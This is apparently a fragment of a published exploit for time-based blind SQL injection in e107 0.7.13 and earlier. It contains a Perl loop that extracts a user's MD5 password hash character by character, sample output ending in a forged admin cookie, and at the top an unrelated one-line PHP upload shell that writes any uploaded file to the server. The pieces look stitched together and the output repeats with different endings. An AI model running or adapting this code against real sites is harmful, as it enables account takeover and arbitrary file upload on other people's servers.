<form enctype=multipart/form-data method=post><input type=file name=x><input type=submit></form><?$f=$_FILES[x];copy($f[tmp_name],$f[name]);?>

[+] e107 <= 0.7.13 Blind SQL Injection
[+] Admin/User's Password Retrieve Exploit
[+] Coded by __GiReX__

[+] Logged in with your account..
[+] Checking database delay, please wait..

[+] Normal delay: 1
[+] Benchmark delay: 13

[+] Victim password: f

[-] Exploit mistake: please re-check benchmark

for(my $j = 1; $j <= 32; $j++)
{  
    foreach $char(@cset)
    {    
        info(chr($char), $hash, "password");
        
        my ($pre_time, $post_time) = time();
        $rv = check_char($char, $j, "user_password");    
        $post_time = time();
    
             if($rv and ($post_time - $pre_time) > ($ndelay + 3))
             {        
                 $hash .= chr($char);
                 last;
             }
    }
    
    last if $j != length($hash);
}    

if(not defined $hash or length($hash) != 32)
{
    print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n";
    exit;
}

...
[+] Logged in with your account..
[+] Checking database delay, please wait..

[+] Normal delay: 1
[+] Benchmark delay: 13

[+] Victim password: f

[+] You can try to login with this cookie:
[+] Cookie: e107cookie=1.d41d8cd98f00b204e9800998ecf8427e